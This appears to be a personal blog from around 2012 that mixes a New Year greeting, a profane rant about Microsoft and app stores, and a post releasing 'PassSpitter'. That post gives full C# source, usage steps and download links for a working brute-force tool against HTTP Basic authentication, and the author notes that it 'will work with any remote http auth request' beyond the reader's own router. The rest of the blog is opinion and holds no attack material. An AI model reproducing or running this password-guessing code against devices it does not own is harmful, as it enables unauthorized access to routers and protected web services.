I wish you all well, good health and inner peace for 2012 and the years to come. 

I made a quick photoshop about what 2012 will look like to me. 

ttyl ;) #2012YearOfTheHashTag ...

(click to enlarge) 

So I'll be back later in 2012... until then... live long and prosper!

I took a brute-force approach to the problem. 

Some old tools I used in the past are no longer working properly... (remember Brutus?!!)

And I had in the past tried my luck at this, but aimed too high and got lost into recursive functions...

So there you have it. 

MadLogik's very own:  

v1.0 Screenshot: 

Usage: (really? just start it up and you should be gold!) Obviously what you will need is TIME and not SKILLS!

1: Double click on the cute PassSpitter icon, a console like window will open (see screenshot above)

2: Enter the minimum length to start with... I suggest 0, but if you know it's 8 characters long, then you would save quite some time starting at 8 right away!

3: Enter the ip... now this tool is meant to be used with your OWN router over your LAN for TESTING PURPOSES.... but it will work with any remote http auth request... ;)

4: Enter the username, admin for most routers... but I found out my linksys wrt610n will take ANY usernames! :$

5: let it do it's magic.. you will get updates when you get to the next letter... and live password display ... it's not slowing down the software enough for me to take it off... 

6: get the resolved password when you hear the beep! 

ps: should something go wrong (that means, if the software gets anything else than a "401 unauthorized" message) then you will be asked if you want to continue or not... simply enter "n" to stop

... close the window and start it back up ... choice is yours!

Good to know: Currently, it's only going to try lowercase letters and numbers ... otherwise it becomes too much of a task... and you should have access to the reset switch on your router after all ;) 
private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1','2','3','4','5', '6','7','8','9','0'};
 In other versions I will allow you to choose... if I ever make other versions ;) Afterall, you can download the source below, a free version of visual c# 2010 and run this the way YOU want... ;) 
//private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '$', '#', '@', '-' }; //... who knows ? !! :P 

Download Links: 

v1.0 Release Version: http://bayfiles.com/file/Z6n/yFxgTN/PassSpitter_v1.0.exe

v1.01 Debug Version: http://bayfiles.com/file/Z6D/lx8ref/PassSpitter.exe

I found the debug version to run faster but it's also more prone to receiving errors or simply crashing...

I found the speed to be between 50 and 150 passwords per seconds. Not bad! at all!

BY THE WAY: 

I must give credits to Janosh Woschitz for most of the code in the bruteforce engine! Thanks Mate.

I just hacked in some web auth testing code and setup a loop for my needs... looks dirty but it all works quite good! 

If you have comments, hit me up on twitter! 

See ya!

Ohhh yeah... the code... Well Here's the project files... and below the code..

v1.01 Source Code Download: http://bayfiles.com/file/Z7l/Og5nys/PassSpitter_source_v1.0.zip

---

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Web;
using System.IO;

namespace PassSpitter
{

    class Program

    {

        #region Private variables

        // the secret password which we will try to find via brute force

        private static string result;

        private static bool isMatched = false;

        private static bool isFailing = false;

        /* The length of the charactersToTest Array is stored in a

        * additional variable to increase performance  */

        private static int charactersToTestLength = 0;

        private static long computedKeys = 0;

        /* An array containing the characters which will be used to create the brute force keys,

        * if less characters are used (e.g. only lower case chars) the faster the password is matched  */

 

        private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1','2','3','4','5', '6','7','8','9','0'};

 

        //private static char[] charactersToTest = { '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };

        //private static char[] charactersToTest = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '$', '#', '@', '-' };

       

        #endregion

 

        static void Main(string[] args)

        {

        starthere:

            Console.Clear();

            Console.WriteLine("**********************************************************************");

            Console.WriteLine("****** MadLogik's PassSpitter v1.0 (c) 2011  madlogik@gmail.com ******");

            Console.WriteLine("**********************************************************************");

 

            // The length of the array is stored permanently during runtime

            charactersToTestLength = charactersToTest.Length;

            // The length of the password is unknown, so we have to run trough the full search space

            Console.WriteLine("\nEnter the minimum password length");

            var estimatedPasswordLength = (int.Parse(Console.ReadLine()) - 1);

            //if people enter 0 .. it will be -1... so lets fix that.. :P

            if (estimatedPasswordLength < 0) { estimatedPasswordLength = 0; }

 

            Console.WriteLine("Enter the URL like http://192.168.1.1 or just the ip:");

            string mytargetip = Console.ReadLine();

 

            if (!mytargetip.Contains("http"))

            {

                mytargetip = "http://" + mytargetip;

            }

 

            Console.WriteLine("Enter the Username like admin:");

            string myusername = Console.ReadLine();

 

            var timeStarted = DateTime.Now;

            Console.WriteLine("Start BruteForce - {0}", timeStarted.ToString());

 

            while (!isMatched)

            {

 

                /* The estimated length of the password will be increased and every possible key for this

                * key length will be created and compared against the password */

                estimatedPasswordLength++;

                startBruteForce(estimatedPasswordLength, myusername, mytargetip);

                Console.WriteLine("\nTime elapsed: {0}s, Passwords tested: {1}, Pass/sec: {2}", DateTime.Now.Subtract(timeStarted).TotalSeconds, computedKeys, (computedKeys / DateTime.Now.Subtract(timeStarted).TotalSeconds));

            }

 

            Console.WriteLine("\n**********************************************************************");

            Console.Beep(500, 500);

            Console.Beep(300, 250);

            Console.Beep(500, 500);

            Console.WriteLine("Password matched. - {0}", DateTime.Now.ToString());

            Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);

            Console.WriteLine("Resolved password: {0}", result);

            Console.WriteLine("Computed keys: {0}", computedKeys);

 

            //end

            Console.ReadLine();

            Console.WriteLine("Do you want to try again?");

            string wannarideagain = Console.ReadLine();

            if (wannarideagain == "y")

            {

                isMatched = false;

                isFailing = false;

                computedKeys = 0;

                charactersToTestLength = 0;

                goto starthere;

            }

        }

 

        #region Private methods

 

        /// <summary>

        /// Starts the recursive method which will create the keys via brute force

        /// </summary>

        /// <param name="keyLength">The length of the key</param>

        private static void startBruteForce(int keyLength, string myusername, string mytargetip)

        {

            if (!isMatched)

            {

 

                Console.WriteLine("\nTesting passwords with {0} letters or numbers", keyLength);

                var keyChars = createCharArray(keyLength, charactersToTest[0]);

                // The index of the last character will be stored for slight perfomance improvement

                var indexOfLastChar = keyLength - 1;

                createNewKey(0, keyChars, keyLength, indexOfLastChar, myusername, mytargetip);

            }

            else

            { return; }

        }

 

        /// <summary>

        /// Creates a new char array of a specific length filled with the defaultChar

        /// </summary>

        /// <param name="length">The length of the array</param>

        /// <param name="defaultChar">The char with whom the array will be filled</param>

        /// <returns></returns>

        private static char[] createCharArray(int length, char defaultChar)

        {

            return (from c in new char[length] select defaultChar).ToArray();

        }

 

        /// <summary>

        /// This is the main workhorse, it creates new keys and compares them to the password until the password

        /// is matched or all keys of the current key length have been checked

        /// </summary>

        /// <param name="currentCharPosition">The position of the char which is replaced by new characters currently</param>

        /// <param name="keyChars">The current key represented as char array</param>

        /// <param name="keyLength">The length of the key</param>

        /// <param name="indexOfLastChar">The index of the last character of the key</param>

        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar, string myusername, string mytargetip)

        {

            if (!isMatched)

            {

                var nextCharPosition = currentCharPosition + 1;

                // We are looping trough the full length of our charactersToTest array

                for (int i = 0; i < charactersToTestLength; i++)

                {

                    /* The character at the currentCharPosition will be replaced by a

                    * new character from the charactersToTest array => a new key combination will be created */

                    keyChars[currentCharPosition] = charactersToTest[i];

                    // The method calls itself recursively until all positions of the key char array have been replaced

                    if (currentCharPosition < indexOfLastChar)

                    {

                        createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, myusername, mytargetip);

                    }

                    else

                    {

                        // A new key has been created, remove this counter to improve performance

                        computedKeys++;

 

                        /* The char array will be converted to a string and compared to the password. If the password

                        * is matched the loop breaks and the password is stored as result. */

 

 

                        string mypassword = new String(keyChars);

                        string mycontent = "";

                        if (isFailing)

                        {

                            Console.WriteLine("\nWarning! You are not getting the expected 401 unauth message... Continue y/n ?");

                            string failcontinue = Console.ReadLine();

                            if (failcontinue == "n")

                            {

                                isMatched = true;

                                result = "Operation Failed!";

                                return;

                            }

                        }

 

                        try

                        {

                            WebRequest myReq = WebRequest.Create(mytargetip);

                            string usernamePassword = myusername + ":" + mypassword;

                            CredentialCache mycache = new CredentialCache();

                            mycache.Add(new Uri(mytargetip), "Basic", new NetworkCredential(myusername, mypassword));

                            myReq.Credentials = mycache;

                            myReq.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new ASCIIEncoding().GetBytes(usernamePassword)));

                            // if it breaks... it's here. 401 unauth

                            WebResponse wr = myReq.GetResponse();

                            Stream receiveStream = wr.GetResponseStream();

                            StreamReader reader = new StreamReader(receiveStream, Encoding.UTF8);

                            mycontent += reader.ReadLine();

                            mycontent += System.Environment.NewLine;

                            string currline = mycontent;

                            while (currline != null)

                            {

                                currline = reader.ReadLine();

                                mycontent += currline + System.Environment.NewLine;

                            }

                            reader.Close();

 

                            //Console.Write(mycontent); //source code!!!

 

                            //MessageBox.Show("The Password is: " + password, "Password Found!");

                            isMatched = true;

                            result = new String(keyChars);

                            return;

 

                        }

                        catch (Exception exx)

                        {

                            Console.Write("\rTesting Password: {0}", new String(keyChars));

                            if (!exx.Message.ToString().Contains("401"))

                            {

                                isFailing = true;

                                Console.WriteLine("\n\r{0}", exx.Message.ToString());

                                return;

                            }

                        } 

                    }

                }

            }

            else

            { return; }

        }

        #endregion

    }

}

---

Here's the man in Question:

Nice Place Indeed!

And my best section of the wiki article:

You might question it's ability to do so fast enough, securely enough, or with good enough seats and suspension, or loud enough speakers... 

The single biggest issue we face with computer, either that be an Apple driven or Microsoft Driven computer... is that you are never quite sure it will truly help you achieve YOUR GOAL...

There can be software conflicts or incomplete suite of tools...

Take for example, you want to transfer, edit, and then burn to a DVD a video you recorded with your phone... or camcorder...

(some but not all!)

-device not recognized

-missing drivers

-faulty cable

-missing video codec

-video format incompatible with your editing software

-long converting times if you have an analog video source! 

-you often need the mpeg2 license to burn to DVD! 

-your DVD media might be incompatible with the target DVD reader (DVD +/- R .. DVD+RW ... or whatever equipment is at the other end) 

and ... that's just achieving ONE GOAL with your computer .... next, sending an email, or updating your Facebook status... GOD KNOWS WHAT! 

... it's about time to decide upon a single platform, that's open, and providing complete, full access to all of it's innards (hardware) and supports for add-on's! 

Then, give immediate access to hardcore programmers to the hardware... and slowly update a complete SDK, complete with lessons to get people up and going. 

This formation must be universal, open, easy to understand. I love the Apple way of building the architecture, but at the same time, HATE how they restrict people from incorporating add-on products or apps that would change the end user experience... 

Shame on them for that... but this is Microsoft's single and biggest problem... it supports so much, but provides nothing to users... 

---> HEY MICROSOFT : WAKE THE FUCK UP .... Microsoft Store has to open... no bullshit ... call it the M$tore and people will find it funny... but it's about FUCKING TIME you provide pc users with a platform to download apps from... 

GET PEOPLE OUT OF THE BROWSER... it's Google's land anyways! 

GET PEOPLE OUT OF THEIR PHONES... it's Apple's turf anyways!

---> when most people sit at their computers for long, extended periods of time... you are currently the leader... but Apple will kick your ass for the simple fact that I can download all the apps I need (but your office for mac software!) straight from the Mac App Strore... 

BRILLIANT Steve, ... wake up Bill.. 

Ah, also while we're at it... I don't believe in localisation for apps... 

My first language is French, but I have seen times and times over French versions of software being pledged with bugs that the English versions didn't suffer from! 

The simple fact that french words are often longer than english words create buffer overflows and other memory problems if programmers are not thoughtful about future conversions to other languages!

IMHO: English has always been THE main language on the Internet, and with computers in general, and it should be universally adopted as the only language for us all.. but that's another topic all together ! lol! 

Software has reached it's limits anyways... Now we have the building blocks to help us materialize what we think about or what we dream of. 

We can then tell a machine to crave, build, put together this idea and replicate it many times over for anyone who would desire this item... and implement a way to recycle ANY AND ALL production leftovers. 

Time has come to standardize basics in our world.... so that any products I buy will work with my computer, allowing me to take their raw content, unedited source, get them out on my big screen, and in a mater of hours realize what I had in mind when I shot the said pictures, movies, or recorded sounds, and transform them into the visions I had in mind... to create a window for others to peek inside my brain a bit... sometimes, it does feel lonely in there. 

I hope someone can help me realize the way things could get changed, worldwide... I'm available to any ideas you people might think about. 

Until the revolution, live long and prosper. 

edit: windows 8 will have an app store... way to go Bill & Co! 

Source: http://gizmodo.com/5832100/windows-8-will-have-an-app-store

The ps4 will force you to eat 3d, and will probably steal the kinect's technology after stealing the wii's remote idea... ;)

I don't know... it's like putting a bunch of expensive ingredients in the same bowl... without having a proper recipe... This could be an expensive mess!

Well check out the video, it's really cool!